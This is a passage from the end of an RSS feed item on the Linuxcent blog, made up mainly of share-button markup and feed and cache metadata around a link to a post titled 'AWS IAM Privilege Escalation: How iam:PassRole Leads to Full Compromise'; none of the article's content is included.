<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&#038;title=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" data-a2a-url="https://linuxcent.com/cloud-iam-privilege-escalation/" data-a2a-title="AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise"></a></p><p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-iam-privilege-escalation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1495</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-04-18 07:34:16 by W3 Total Cache
-->